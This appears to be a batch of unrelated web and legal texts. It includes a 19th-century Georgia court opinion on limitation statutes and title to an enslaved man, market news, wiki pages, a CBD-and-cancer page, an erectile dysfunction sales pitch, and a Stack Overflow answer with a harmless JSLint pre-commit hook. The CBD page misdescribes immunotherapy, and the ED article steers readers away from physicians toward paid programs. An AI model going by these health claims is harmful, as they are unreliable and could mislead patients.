other savings found in the 9th section, does it omit that one ? The last Act contains the latest declared will of the Legislature. As to all its positive enactments, it is the law of the land. All the provisions of the 9th section, identical with those of the latest Act, are of course repealed. This being so, how would the saving in behalf of nomresident plaintiffs in the 9th section stand ? Quite alone, in its statutory and unintelligible solitude. Stript oí its explanatory adjuncts, its context and its original connections, it would be ridiculous in its attitude, and without practicable application. The General Assembly meant to repeal the saving, founded on the non-residence of the plaintiff, and to provide in his behalf one, growing out of the removal of the defendant. I see no good reason, myself, why the non-residence of the plaintiff should protect him from the operation of the Statute. The Courts of the State are open to him. He can always prosecute his remedy. But it is reasonable that he should be pro tected when the defendant has removed. In that event, the fact might be, that be does not ascertain the locality of the defendant until the Statute has barred his suit, or if ascertained, it might be possibly, when he could not sue. There is a difference in the equity of the two savings. It might be said that the plaintiff is within the equity of the Statute. Not so, because his non-residence is not founded upon equal equity with that of the defendants. Besides, the Court has no power to enlarge the provisions' of the Statute of Limitations. Certainly not to add an exception. Beyond all doubt, not to add an exception, when it is manifest that the Legislature intended to exclude the very exception sought to be added. This thing was attempted to be forced upon the Courts of England, and was repudiated. This very point occurred in Brechford et al. vs. Wade. The question grew out of the Limitation Law of Jamaica. It contained no exception in favor of absenting, and it was insisted that on a principle of inherent equity, it ought to be constructively introduced into it. The Master of the Rolls said, “ I have not been able to find any authority for this doctrine; but are wo, therefore, to introduce into a Statute conceived in general terms, all the exceptions which, upon the principles of the Common Law, we may think it reasonable that the Statute should have contained, and in particular, can we do so in cases like the present, when the Statute does notice some of the Common Law disabilities, does adopt some of the Common Law exceptions, but omits others. Is this choice and election made by the Legislature, to be controlled, and in effect annulled by a supposed inherent equity, which is to prevent them from so-legislating, as in reality, it would come to a question of competency % If the Legislature have deliberately made this distinction, how can we refuse to give effect to it, without denying that it was competent for the Legislature, so- to distinguish the case of absentees from that of infants, feme coverts and persons of non sane memory % I have no doubt the omission was intentional.” 17 Vesey, 90. Angel on Limitations, 204, 205.
The intention of the Legislature to disallow this exception is manifest in this, that in 1817, they passed a declaratory law, expressly excluding it. The constitutionality of that law was denied in the argument, but as we are satisfied that the 9th sect, of of the Act of ’67 is repealed, we rest our opinion there, without deciding the constitutionality of the Act of 1817. It is our opinion that the Court erred in deciding -that the plaintiff below was protected from the operation of the Statute of Limitation of Georgia, by reason of his residing out of the State.
As before'stated, Lewis carried the slave in controversy, with him' to the State of Mississippi, and retained possession until the statutory bar of that State had fully attached, when' Wynn, the defendant, bought him at public sale, under a judgment against Lewis. He plead in bar of this suit, his title to the negro through Lewis, and Lewis’ statutory title acquired under the Statute of Limitations of Mississippi. The Limitation Act of that State was formally pleaded and set forth. To this plea the plaintiff demurred, upon the ground that Acts of Limitation are in bar of remedies, and that as to remedies in personal actions, the lex furi governs. The Limitation Acts of Mississippi, therefore, and rights acquired under them, could not be a defence to a suit brought in Georgia. The presiding Judge sustained the demurrer, and the defendant excepted.
There is no doubt of the correctness of the two general propositions insisted upon by the plaintiff below, to wit, that unless Limitation Acts, in their provisions, bar rights, they relate only to remedies, and that in actions for the recovery of personal property, the law of the forum obtains as to the remedy. However the soundness of these positions, or rather of the latter position, may have been questioned by writers on the European continent, particularly by civil ones ; yet it is a firmly established and universally conceded rule of the Common Law, not, however, as we shall see, wholly without exception. The rule that suits must be brought within the time prescribed by the law of the State wherein the Court sits in which they are instituted, is based upon principles of international justice and policy. Every nation must have the right to prescribe the time and manner in which, and the circumstances under which suits shall be litigated in its own Courts. Foreigners ought to be subjected to the same laws which govern citizens property ought not to be subject to the various laws of surrounding States. The Limitation Law which protects a citizen against his fellow citizen, ought also to protect him against a foreigner, and the law which bars from our halls of justice a citizen, ought equally to exclude a foreigner. So also, the time which the law gives to a citizen, within which to prosecute his rights, ought in justice and in comity, to be. given to a foreigner. For the general rule, see 4 Cow. 528, note. Ibid, 530. 1 Gallis, 371. 2 Mason, 321. 10 Barn. & Cress. 903. 1 Barn. & Adol. 284. 2 Bing. N. C. 20, 209. 212. 5 Clark & Finell, 1 B. 14, 15, 16, and 17. 3 Conn. 472. 3 Ibid, 523. 8 Peters, 361. 11 Pick. 36. 3 John. Ch. R. 190. 6 Wend. 475. Story’s Conf. of Laws. sect. 577.
We'have determined that title by possession of personal property, acquired under our own Statutes of Limitation, is not only a good defence, against an adverse claimant, but invests the possessor with the absolute property. Paschal, Admr. vs. Davis, 3 Kelly, 265. Sims vs. Canfield, 2 Alab. R. 561. Brent vs. Chapman, 5 Cranch, 358. Goodman vs. Munks, 8 Porter R. 94. Doyle vs. Bowler, 7 Ala. R. n. s. 246. 2 Bay, 156. 3 H. & Munf. 57. According to this decision, Lewis, in the State of Mississippi, had such a title to this slave as would have enabled him, if disposessed there, to sue for and recover him; that title passed to' Wynn, and in that State the Act of Limitations would not only,have jDrotected him, but upon his title derived from Lewis, he could then have maintainedhis action. Coming into this State, and bringing here the slave and his title, he encounters a suit.
Can he defend himself upon that title ? We have seen that according to the general rule, he cannot. But according to an exception to that general rule, stated by Mr. Story in his Conflict of Laws, and upon the authority of cases determined in accordance with the principles of that exception, we think he can. The learned winter thus states the distinction. “ Suppose the Statutes of limitation or prescription of a particular country, do not only extinguish the right of action, but the claim or title itself, ipso facto, and declare it a nullity, after the lapse of the prescribed period, and the parties are resident within the jurisdiction during the whole of that period, so that it has actually and fully operated; under such circumstances the question might properly arise, whether such Statutes of limitation or prescription, may not afterwards be set up in any other country to which the parties may remove, by way of extinguishment, or' transfer of the claim or title.” In Story’s Conflict of Laws, sec. 582, Mr. Story illustrates his position, by supposing the case of property adversely held in one State, until the statutory title is perfect and the owner removes into another State with his property, where there is a longer time of prescription, or none at all. In such a case, he intimates very plainly, that the title could not be impugned in the State to which the possessor may remoye. The case supposed, is, in all the principle, involved the case before this Court. Judge Story says, that it has been determined, that such a title under such circumstances, cannot be impugned. The case of a debt, possibly, might stand upon somewhat different ground. The decisions have been upon personal property. The Supreme Court so decided. In Shelly vs. Gray, that Court determined, that five years possession of a slave, constitutes a title in Virginia, which might be set up as a defence by the defendant in the Courts of Tennessee. 11 Wheat. Rep. 361, 371. Here then, is the authority of the highest tribunal known to our laws, upon the point I am now considering. The Supreme Court of the United States have adjudged, that a title to a slave acquired under the limitation laws of Mississippi, may be set up, in defence in this State, to an action brought for his recovery. I do not perceive that the principle has been tested in any of the States, except in Massachusetts, where it was seriously and ably controverted by Chief Justice Shaw. In Bulger vs. Roche, the decision in Massachusetts was against it. It is worthy of remark, that the Supreme Court, in Shelly vs. Gray, do not insist upon the qualifications which Judge Story annexes to the principle. That is authority, therefore, for the rule, without qualification. All that appears to he necessary by the judgment of the Supreme Cou'rt, is, that the title shall have accrued according to the laws of the State from which the owner of the property removes. We are not, however, prepared to adopt the rule, without the qualifications. Let us now see what they are. They are two. First, the limitation Act of the foreign §tate, must not only bar the right of action, but it must also bar the title or claim. Second, the situation of the parties must be such, that the Statute has fully and actually operated on the case. The latter qualification is not stated as Judge Story states it. He states it thus : “ The parties must be resident within the jurisdiction, the whole of the prescribed period, so that the Statute has actually and fully operated upon the case.” The qualification which he designs to express, is clearly this, to wit: the Statute must have actually and fully operated upon the case. The residence of both parties is required by him, because generally, the Statute cannot actually andfully operate upon the case, without such residence. And that for the reason, that Statutes of limitation very generally contain a saving in fav- or of non-resident plaintiffs, or in their favor by reason of the non-residence of defendants. These exceptions, one or both, are found in almost all the limitation Acts of the world. As in England, Massachusetts, Virginia, Georgia. Hence, speaking of this subject, in reference to these Acts at large, there is a perfect propriety, in the formulary of words adopted by him. Parties must reside within the jurisdiction the whole period. Why' 1 So that the Statute ma,y actually and fully operate in the case. In a State^ where there is an exception to the operation of the Statute, growing out of the non-residence of either plaintiff or defendant, the Statute could not actually and fully operate upon the case, except in cases where both parties reside within the jurisdiction. I think it is perfectly manifest, that the qualification intended is, that the Statute roust actually and fully operate in the case, and hence the propriety of stating it as I have done. If by law, the situation of the parties is such, that the Statute has as fully operated upon the case, although one of them has not resided in the jurisdiction the whole period, as it could were they both resident all the time within the jurisdiction; then, the qualification is fulfilled. And that is the case where the defendant has resided the whole term within the jurisdiction, and there is no exception ire the Act in favor of non-resident plaintiffs
In this case, it will not be questioned but that the Statute did -operate as fully and actually upon the case, as if Lee, the plaintiff, had resided, as well as Lewis, the whole of the term in that State. Lewis’s title was as perfect, the property in the slave was as immovably fixed in him by the limitation laws of Mississippi, as it could have been had Lee resided there all the time. The reason is, that notwithstanding his non-residence, by the provisions of those laws the Statute bar attached. So also in this case, the other qualification is fulfilled ; for it was admitted on the argument, that the Statute of limitations of Mississippi, barred not merely the right of action, but also the title or claim. The case, then, is fully within the distinction taken by Mr. Story, and much stronger- than the case determined by the Supreme Court of the United States. In case of contracts, it is conceded that the law of prescription of a particular country, does not form any part of the contract; it merely operates upon it ex post facto, by affecting the remedy. Yet it might admit of a doubt, whether this is true, when the law of prescription absolutely annuls the contract as well as bars the remedy, after a limited time. It may be a question, whether in that case the prescriptive law does not enter into the contract. If it does, then it will be respected by foreign jurisdictions ; for as to the construction and effect of contracts, the lex loci contractus governs. This view of the matter is presented by -Chief Justice Tindal, in commenting in a late cause, upon the distinction taken by Mr. Story. He says, “ With such restriction, it does indeed appear but reasonable, that the part of the lex loci contractus which declares the contract to be absolutely void at a certain limited time without any intervening suit, should be equally respected by the foreign country, as the part of the lex loci contractus, which gives life to, and regulates the construction of the contract; both parts go equally ad valorem contractus, both ad decisionem litis.” Huber vs. Steiner, 2 Bing. New R. 202. In that case, the proposition of Judge Story, with the qualifications which he makes, met with the approval of the English Court of Common Pleas; an indorsement, which constitutes of itself, very satisfactory authority. So also it was approved by Lord Brougham, in Don vs. Lipman, in the House of Lords. He calls it excellent, and seems not to have enforced it, because the case before him did not come within the prescribed qualifications. I cannot permit myself to doubt, but that both of these distinguished Jurists would, in cases falling within it, give effect to the doctrine of our own not less renowned Storst. Satisfied as we are of its soundness, and this case being, as we conceive, fully within its requirements, we give it our sanction, and determine it accordingly.
The demurrer to the pleas of the Mississippi Statute of limitation having been sustained, the defendant proposed to read in evidence under the general issue, a certified copy of the record of that Statute, which was refused by the Court, and upon that refusal the defendant excepted. Holding the opinion he did as to the admissibility of this defence, the circuit Judge was right in repelling this evidence. Holding the opinions we do as to this defence, as a question of pleading and evidence, we think the record was admissible under the general issue. Conversion is the gist of the action of trover. The general issue puts in issue that fact, and evidence which negatives the conversion, is admissible under that plea. If the defendant had a title to the property, good against the plaintiff, he made no conversion; and as the record went to show title in him, and those under whom he claimed, it was competent. It was better, however, to plead it; more in accordance with the spirit of our Statute.'
The defendant in the Court below insisted, that Mrs. McMillan, the cestui que tmst, having possession of this slave from her trustee, Lee, the deed of trust was executed ; and that he, as trustee, could not maintain trover for him. The circuit Judge disaffirmed this doctrine, and so do we.
The legal estate was in the trustee ; of that, he had never been divested. The trust was not alone for Mrs. McMillan, it was also for her children. It was not a trust consummated when the slave was delivered into her possession. She would not by a sale, defeat the limitation over to her children. The trustee held the lega\ title for the purposes of the trust, and was entitled to the possession as against strangers to the deed; at law, as against Mrs. McMillan herself. We think the Court was right in sustaining the action. Lerrin on Trusts, 247, 481. Willis on Trustees, 72, 73, 77, 84, 109, 482. See also Blake vs. Irvin, 3 Kelly, 345. Hill on Trustees, 274. Goodtitle vs. Jones, 7 T. R. 47. 4 B. & Ald. 745. Jones vs. Jones, 3 Bro. C. C. 80.
It was further urged by the defendant in the Court below, that when a plea is demurred to, the demurrer roves through the whole record; and that it is the duty of the Court, to look through the 'record and give judgment against the party first in default. He farther insisted, that this writ was insufficient; it is a mere fiction, and does not, as required by our Statute, plainly and distinctly set forth the plaintiff’s cause of action ; and the plaintiff having demurred to the pleas, and the plaintiff being first in default, judgment should be rendered against him onhis declaration. The rule, as stated, was not recognized by the circuit Judge, as applicable to our Courts. Nor do we recognise it as applicable to our Courts. Our Statute, sends the case to the jury upon the declaration and answer, and thus overrules the old English practice, as claimed by the counsel for the plaintiff in error. So thinking, we give no opinion as to the sufficiency of the declaration in trover. • ,
.By rule of Court, the plaintiff, unless the defendant introduces no testimony, is entitled to open and to conclude the argument of the cause before the jury. In this case, the plaintiff’s counsel declined to open his cause. The defendant moved the Court, that he be required to open his cause, which the Court declined to do ; and he excepted. Our Courts are organized to administer justice according to law. It is the right of a party to appear by counsel and in his own proper person, not only in the conduct of his cause, but in the discussion of its merits before the jury. Lightly as some may esteem it, this is one of the most valuable of the rights of the citizen. It is necessary to a fair and impartial trial according to law ; a right long denied to our British ancestry. • Appearance by counsel, is an aid to the Court in the ascertainment and application of the law, however profound the learning or admirable the wisdom of the Bench. It is one of the most salutary checks upon a weak or .corrupt Court. British liberty is as much indebted to the eloquence and learning of Erskine, before the Courts and juries of that country, as to the labors of any one of' its wisest statesmen in the halls of legislation. The object is not to secure, by management, or trick, or dexterity, against the law and against the evidence. Such is not the legitimate object of appearance by counsel. Such is not tlie vocation of our noble profession, always distinguished, as it has been, for its liberal views, its enlightened patriotism, and its consecration of virtue, justice, and order. Its object is to aid in the ascertainment of truth — in the strict, and, therefore, equitable administration of the laws of the land. Important as this privilege is, it becomes necessary, so to order its exercise as to maintain it equal, or as nearly so as practicable, between the parties. To maintain this equity, in the privilege of argument before the jury, our rules of Court give the opening and the concluding address to the plaintiff in the action, except in cases where the defendant introduces no evidence; then he is entitled to the conclusion. The ojjening is not merely a privilege to the plaintiff, it is also a privilege to the defendant, that the plaintiff open to him the grounds of law, arising upon the facts and pleadings in the case. If, as in this case, the plaintiff is permitted to waive his right of opening, the opposite party is in the dark, to spine extent at least, as to the grounds upon which he will rely. Each party ought to be heard upon those grounds upon which each relies for 'a recovery. This is certainly* equitable. And this is not the case if the party in conclusion is not required to develop the grounds of his reliance. The Court, too, has an interest in the matter. He ought to desire discussion upon the points upon which he is called to decide, if not always, yet very generally. If they are not made until the conclusion, he hears but one side, unless, indeed, he chooses to disturb the regularity of the proceeding, by allowing.the other side a reply. We think, therefore, and such is our judgment, that the party who is entitled to the concluding, argument in all cases under our rules of Oonrt, should be required to state to his adversary, before he addresses the jury, the grounds in the pleadings upon which he will rely, and the points of law that he will make in the case, and also be required either to read, or present to him the authorities which he expects to use, and farther, that the party in conclusion shall be confined, in his argument, to the grounds, points, and authorities thus exhibited.
It is not, however, to be understood that the counsel who is in conclusion, and who is also entitled to open the cause, shall not be at liberty, if he chooses to do so, to argue the case at large in his opening speech.
Note. — Copy of the provisions of the Mississippi Statute of Limitations, applicable to actions of trover.
June 7,1822.
“ Sec. 93. All actions of trespass qteare clausum fregit, all actions of trespass, Minnie, trover and replevin, for talcing away goods and chattels, all actions of debt founded upon any lending or contract without specialty, or for arrearage© of rent due on a parol denied, and all actions of account, and upon the case, except actions for slander, and except, also, such actions as concern the trade or merchandise, between merchant and merchant, their factors, agents, and servants, shall be commenced aud sued within six years next after the cause of such actions shall have accrued, and not after.'’ (See 196, 108, 109, 110, 111.)
Provisions as to minors, feme coverts, and insane persons.
“ Sec. 94. If any person or persons, who is, orare, or shall be entitled to any of the actions specified in the three preceding sections of this Act, is, are, or shall be, at the time of auy such cause of action accruing, within the age of twenty one years, feme covert or insane, then snch person or persons shall be at liberty to bring such action, so as he, she, or they institute or take the same within such time as is before limited, after his, her, or their coming to or being of full age, discovert, or of sane memory, as by other persons having no such impediment,might be done.
| CASELAW |
-- Hog Futures Slide as Demand for U.S. Pork Ebbs; Cattle Decline
Hog futures declined for the second
straight day on speculation that demand for U.S. pork is
weakening. Cattle prices also fell. Spot hogs fell 0.3 percent to 74.02 cents a pound
yesterday, the lowest price this week, U.S. Department of
Agriculture data show. Meatpackers processed 1.269 million hogs
in the first three days of this week, down 1.1 percent from a
week earlier, government data show. Wholesale pork prices are
down 4.8 percent this year, USDA data show. “I’m not hearing very good things on product” demand,
which “is still really sluggish,” Jason Golly, a vice
president of risk-management marketing at Lynch Livestock Inc.
in Waucoma, Iowa , said in a telephone interview. Hog futures for June settlement fell 0.7 percent to 89.45
cents a pound at 10:03 a.m. on the Chicago Mercantile Exchange.
The contract is down 2.2 percent this month. Cattle futures for April delivery slid 0.2 percent to
$1.28275 a pound in Chicago . Feeder-cattle futures for May
settlement declined 0.6 percent to $1.4365 a pound. To contact the reporter on this story:
Elizabeth Campbell in Chicago at
ecampbell14@bloomberg.net To contact the editor responsible for this story:
Steve Stroth at
sstroth@bloomberg.net | NEWS-MULTISOURCE |
Conditions > Brain Tumor
CBD For Brain Tumor
Cancer is an umbrella term for a disease that comes in many forms, but each has the same initial cause—uncontrolled growth and division of abnormal cells.
As these cancerous cells spread and attack the body, tumors may form, your immune system may fail, or your body may simply stop functioning regularly. Worse, you may have no symptoms at all while cancer grows and destroys normal body tissue.
In the past, a cancer diagnosis was seen as a death sentence. However, improvements in screening and treatment have boosted survival rates. That said, cancer is still the second-leading cause of death worldwide.
Cancer Symptoms
Cancer signs and symptoms can vary depending on the type, stage, and affected area of the body. Some of the general symptoms of cancer can include:
• Changes in bowel or bladder function
• Difficulty swallowing
• Fatigue
• Lump under the skin that can be felt
• Night sweats
• Persistent cough or trouble breathing
• Persistent discomfort after eating or indigestion
• Persistent bleeding or bruising
• Skin changes, including coloring, rashes, itchiness, sores that don’t heal, or changes in existing moles
• Unexplained bleeding or bruising
• Unexplained joint or muscle pain
• Unintended weight changes
Cancer Types
Cancer can be elusive or glaringly evident, depending on the type. In the United States, the most common type is breast cancer, followed by prostate and lung cancers, according to the National Cancer Institute1. The Institute lists over 100 types, but the most common types include:
• Bladder cancer
• Colon and rectal cancer
• Endometrial cancer
• Kidney cancer
• Leukemia
• Liver cancer
• Melanoma
• Non-Hodgkin’s Lymphoma
• Pancreatic cancer
• Thyroid cancer
Cancer Causes
There are many causes of cancer—some known and preventable like smoking, others unknown and unpreventable like Hodgkin’s lymphoma.
At the most basic level, however, each is caused by a mutation to a cell’s DNA within cells, which can stop its normal function and become cancerous. Risk factors may include:
Genetics. You may be born with a gene mutation inherited from your parents, though this makes up only a small percentage of cancers2.
Environmental factors. Exposure to harmful chemicals or second-hand smoke can increase your chances of developing cancer.
Health history. Other diseases, such as ulcerative colitis, can increase your chances of developing cancer, as can exposure to radiation for treating different cancer.
Lifestyle habits. Excessive smoking, alcohol consumption, excess body weight, and poor nutrition can influence cancerous cell growth.
Cancer Treatment
Once you have an official cancer diagnosis, you and your doctor will establish the appropriate treatment plan. Innovative scientific research has driven the development of advanced technologies and medications that are used to treat specific types of cancer-based on its stage and your overall health. Often, there are opportunities to partake in clinical protocols that veer away from standard treatment to evaluate new medical, surgical, or behavioral interventions.
You will have a say in your treatment plan, but it will likely include any one or combination of the following:
Surgery. A surgeon may attempt to remove cancer, or as much it as possible.
Chemotherapy. A blend of medications that aims to kill cancerous cells and shrink the growth of tumors.
Hormone therapy: Certain medications can alter the way hormones function in your body or prevent their production, which is often effective for hormone-based cancers like breast cancer.
Immunotherapy. A mix of medication and other treatments may be used to prevent the body from recognizing and spreading cancerous cells.
Radiation therapy: High-energy waves, such as gamma rays, electron beams, or X-rays may be used to destroy or damage cancer cells.
While it has not yet been shown to cure cancer, alternative medicine can help you manage the side effects of the disease and its treatment. Cannabidiol, also known as CBD, has been studied as a potential treatment for cancer, with smaller clinical studies showing promising results.
In one study, researchers found that “Cannabidiol inhibits cancer cell invasion via upregulation of tissue inhibitor of matrix metalloproteinases3 .”
Another study revealed that CBD has a dual effect on both tumor and endothelial cells, supporting the hypothesis that “CBD has potential as an effective agent in cancer therapy.”4
1 American Cancer Society. Cancer Facts and Figures 2019. Atlanta, Ga: American Cancer Society, 2019.
2 National Cancer Institute website. The Genetics of Cancer. Updated October 12, 2017. Accessed April 25, 2019.
3 American Cancer Society: Cancer Facts and Figures 2019. Atlanta, Ga: American Cancer Society, 2019. Also available onlineExit Disclaimer. Last accessed February 5, 2019.
4 Ramer R, et al. “Cannabidiol inhibits cancer cell invasion via upregulation of tissue inhibitor of matrix metalloproteinases-1.” Biochemical Pharmacology. 2010; 1;79(7):955-66. doi: 10.1016/j.bcp.2009. | ESSENTIALAI-STEM |
Page:The Tenant of Wildfell Hall (emended first edition), Volume 2.djvu/79
Rh interest in his eyes, and others had never had anything to lose. The consequence was, that, after a flying transit through part of France and part of Italy, I came back nearly as ignorant asI [sic] went, having made no acquaintance with persons and manners, and very little with things,—my head swarming with a motley confusion of objects and scenes—some, it is true, leaving a deeper and more pleasing impression than others, but these embittered by the recollection that my emotions had not been shared by my companion, but that, on the contrary, when I had expressed a particular interest in anything that I saw or desired to see, it had been displeasing to him in as much as it proved that I could take delight in anything disconnected with himself.
As for Paris, we only just touched at that, and he would not give me time to see one tenth of the beauties and interesting objects of Rome. He wanted to get me home, he said, to have me all to himself, and to see me safely | WIKI |
Wikipedia:Articles for deletion/Charles Ecker (2nd nomination)
The result was delete. ✗ plicit 03:37, 28 April 2022 (UTC)
Charles Ecker
AfDs for this article:
* – ( View AfD View log | edits since nomination)
American county-level politician who fails WP:NPOL and has no other claim to notability. Previous AfD four years ago closed as no consensus and featured numerous flawed arguments. AusLondonder (talk) 02:07, 21 April 2022 (UTC)
* Note: This discussion has been included in the deletion sorting lists for the following topics: People, Politicians, and Maryland. CAPTAIN RAJU (T) 03:38, 21 April 2022 (UTC)
* Comment Link to the previous AfD, which was under a different article title: Articles for deletion/Charles I. Ecker -Ljleppan (talk) 08:36, 21 April 2022 (UTC)
* Delete fails WP:NPOL and still in my mind fails WP:GNG due to the very local element of the coverage. SportingFlyer T · C 15:50, 21 April 2022 (UTC)
* delete As someone from the area, he was someone who was CE when things just went along without notable events. Pretty much just a name on a list. Mangoe (talk) 15:58, 21 April 2022 (UTC)
* Neutral: Parsing through newspapers.com, there are quite a lot of mentions of Ecker (around 6,000); now of course most appear to be passing mentions, but there are a few that do provide WP:SIGCOV (in addition to ) that get this article just over the nominal threshold for WP:GNG, with smaller mentions (like ) able to fill in the gaps of content. However, all of the sources seem to be WP:LOCAL, and I'm not sure they are necessarily strong enough to assuage that concern. Curbon7 (talk) 16:15, 21 April 2022 (UTC)
* Funny little tidbit: there is an entire article dedicated solely to his muscle car . Curbon7 (talk) 16:16, 21 April 2022 (UTC)
* Delete Regional/local politician fails WP:NPOL. KidAd • SPEAK 17:14, 22 April 2022 (UTC)
| WIKI |
Talk:Ancient Egyptian retainer sacrifices
Whomever wrote this Wikipedia does not have good English Skills. Like many Wikipedia articles, grammar is poor and sentences are poorly constructed. Also, too much repetition of facts...simply regurgitated. This article, in particular, is rather sophomoric and anything but scholarly. This last comment plagues Wikipedia across-the-board. | WIKI |
User:Himanshu9212/sandbox
Biography
Himanshu Tripathi
(Born on 10 November 2000) is an Indian Student of Law (BA LLB) at University of Lucknow = About:- =
Facebook Twitter. Linkedin | WIKI |
Snovik
Snovik is a small settlement in the Tuhinj Valley in the Municipality of Kamnik in the Upper Carniola region of Slovenia.
Based on evidence from medieval sources, the name Snovik is derived from *Jesenovik 'ash grove'.
The recently developed Snovik Spa is located near Snovik. It utilizes thermal water from the area with indoor and outdoor pools and offers a range of health programs, recreational activities, and accommodation. | WIKI |
If you've been hacking at the branches of erectile dysfunction by taking supplements, popping Viagra or injecting yourself with testosterone, there's a good chance you may have missed the real culprit underlying your ED challenges.
Unfortunately, there are major drawbacks and unhealthy side effects when you try to solve the effect (the branches) rather than the root cause of any problem.
To give yourself the best chance at digging out the toxic infected roots that are causing your problem you’ll need to “Man Up” and be really self-honest here. Self honesty is always the first step in creating new results, so go ahead and take a deep breath, relax and open your mind as we dig out the root cause of your particular problem.
Being honest here could in fact mean the difference between life and death! As you’ll find out shortly, this is not an exaggeration, so listen closely.
Medical Illness or Affliction
Medical causes of ED are among the most common and roughly 90% of cases can be linked in some form or fashion to medical illness or affliction, which is most likely running rampant inside your body.[i]
Some of the more common medical causes we’ll be looking at are Heart disease, Diabetes, High blood pressure, Parkinson's disease, substance abuse, prescription medication, injuries to the spinal cord or pelvis and surgical complications.
If you are not in top physical condition or you have not been cleared by a doctor, you may be surprised to find out the cause of your hibernating soldier as one of these challenges, which might not only be causing man down but soon… man dead!
Heart disease
While nobody wants ED, it can serve as an alarm clock - waking you up to the fact that you have heart disease. But don’t freak out! ED and heart disease can be reversed and we’ll get to that shortly. For now, just make sure you’re honest about whether or not you experience any of the warning signs associated with this life crusher.
More often than not, heart disease is caused by plaque in your coronary artery or other circulatory systems, which disrupts the flow of blood as it attempts to move throughout your body. This inevitability impairs blood flow to your soldier, making it difficult to maintain an erection.
In fact, this link between heart disease and erectile dysfunction is so common, that often times, when visiting a doctor for ED solutions, he will most likely recommend a heart screening.
This heart screening will determine whether any ED treatment options could potentially exacerbate heart disease and result in a stroke or heart attack. And since heart disease is so often linked to ED it’s important to be able to identify the more common symptoms so you can slay this beast before it devours you. Here are some of the most common warning signs:
1)Chest Discomfort
This is the most common sign of heart danger. If you have a blocked artery or are having a heart attack, you may feel pain, tightness, or pressure in your chest. Some people say it feels like an elephant sitting on them and the pain usually lasts for several minutes.
If this ever happens to you, call 911 my friend, you need serious help. If the pain is brief or it’s just a spot that hurts more when you push on it, chances are it’s not your heart that’s the problem.
2)Pain that Spreads to Your Arm
Dr. Charles Chambers, director of the Cardiac Catheterization Laboratory at Penn State Hershey Heart and Vascular Institute says, “This pain always starts from the chest and moves outward… but I have had some patients who have mainly arm pain that turned out to be heart attacks."
This is another classic symptom of a heart attack, which radiates pain down the left side of your body. If this happens, again, seek immediate medical attention.
3)You Feel Dizzy or Lightheaded
While a lot of things can make you lose your balance or feel faint for a moment, if you suddenly feel unsteady and you also have chest discomfort or shortness of breath, according to Dr. Vincent Bufalino, an American Heart Association spokesman, "It could mean your blood pressure has dropped because your heart isn't able to pump the way it should.” Again, if this is you, get help!
4)You Get Exhausted Easily
If you suddenly feel fatigued or out of breath after doing something you had no problem doing last week, like climbing the stairs or carrying groceries, this significant and sudden change could be a sign of heart disease – get help.
5)Snoring
Snoring while you snooze is not a life threatening disease but unusually loud snoring that sounds like a gasping or choking can be a sign of sleep apnea. This happens when you stop breathing for brief moments at night while you’re still sleeping.
Unfortunately, this puts extra stress on your heart and could be a sign of heart disease. If this is you, I highly recommend you get screened for heart disease.
6)Sweating For No Reason
Breaking out in a cold sweat for no obvious reason could signal a heart attack. If this happens along with any of the other symptoms just mentioned, call 911 to get to a hospital right away. If at all possible don’t try to drive yourself in any of these situations.
7)A Cough That Won’t Quit
While in most cases, this is not a sign of heart trouble, if you have a long-lasting cough that produces white or pink mucus, it could be a sign of heart failure. This happens when your heart can't keep up with your body's demands, causing blood to leak back into your lungs. If this is you get screened.
8)Your Legs, Feet, and Ankles Are Swollen
When your heart can't pump fast enough, blood backs up in your veins and causes bloating or swelling. Heart failure can also make it harder for your kidneys to remove extra water and sodium from your body, which can also lead to bloating.
If you suffer from any of these 8 symptoms just mentioned, make sure you visit a physician to get screened for heart disease. If heart disease is your challenge you'll need to make some lifestyle changes most doctors simply are not qualified to recommend. In fact most MD doctors do not have training in nutrition or exercise and only know how to hack away at the branches of a problem with pills and surgery.
To find a root solution that will solve your problem will require a little eduction, which can be achieved for under $100 with a book like "Man Up - The Ultimate Guide to Natural ED Cures" and "Get Fired Up," one of the worlds most powerful Testosterone Enhancement programs available online. If you really want to step up and get rid of ED you'll need to address the root causes with action. For step by step guidance click on the links above for more info.
References
Annals of Internal medicine, August 2003. News Release, American College of Physicians. | ESSENTIALAI-STEM |
I recently started a project on github. I've managed to setup automatic testing after each commit using Travis. But now I would like to setup a pre-commit hook with jshint too. So if jshint reports errors, the commit should fail. But is this possible, and if so, how to do this ?
up vote 39 down vote accepted
But is this possible...
Yes! This is possible. I recently wrote about it. Note that it's not specific to GitHub, just Git in general - as it's a pre-commit hook, it runs before any data is sent to GitHub.
Any appropriately-named executable files in the /.git/hooks directory of your repository will be run as hooks. There will likely be a bunch of example hooks in there already by default. Here's a simple shell script that I use as a JSLint pre-commit hook (you could modify it very easily to work with JSHint instead):
#!/bin/sh
files=$(git diff --cached --name-only --diff-filter=ACM | grep "\.js$")
if [ "$files" = "" ]; then
exit 0
fi
pass=true
echo "\nValidating JavaScript:\n"
for file in ${files}; do
result=$(jslint ${file} | grep "${file} is OK")
if [ "$result" != "" ]; then
echo "\t\033[32mJSLint Passed: ${file}\033[0m"
else
echo "\t\033[31mJSLint Failed: ${file}\033[0m"
pass=false
fi
done
echo "\nJavaScript validation complete\n"
if ! $pass; then
echo "\033[41mCOMMIT FAILED:\033[0m Your commit contains files that should pass JSLint but do not. Please fix the JSLint errors and try again.\n"
exit 1
else
echo "\033[42mCOMMIT SUCCEEDED\033[0m\n"
fi
You can simply put that in an executable file named pre-commit in your Git hooks directory, and it will run before every commit.
• thnx a lot!! However, I must be doing something wrong, because I can't get it to work. I've created the file inside .git/hooks and made it executable. Now when I commit a file with "too many errors" it simply commits it. Also, when I run the hook manually, I get trapped in the /bin/sh. Now when I type "exit" I get the "COMMIT FAILED" message. Any suggestions ? – Jeanluca Scaljeri Apr 2 '13 at 10:57
• 1
I just noticed that even the pre-commit hooks in a 'git init' project didn't work. So I found out that a pre-commit hook should be named 'pre-commit' :) So it works great now. I modified jsLint to jsHint and the grep to: "egrep "errors?$". But what if I want multiple pre-commit hooks, is that possible ? – Jeanluca Scaljeri Apr 2 '13 at 12:54
• 1
Glad you got it working :) As far as I know you can't have multiple hooks unfortunately. The easiest way around that will be to simply combine them in one file. – James Allardice Apr 2 '13 at 12:56
• 3
For those wondering what the final version for JSHint looks like: pastie.org/pastes/8392390/text – Vincent Oct 10 '13 at 13:36
• 2
Note that there's mistake in grep. It should be "\.js$" – Alexander Jul 22 '15 at 6:45
There's an easier way of doing pre-commit checks (e.g. JSHint) in your Node.js workflow:
Install jshint from NPM:
npm install jshint
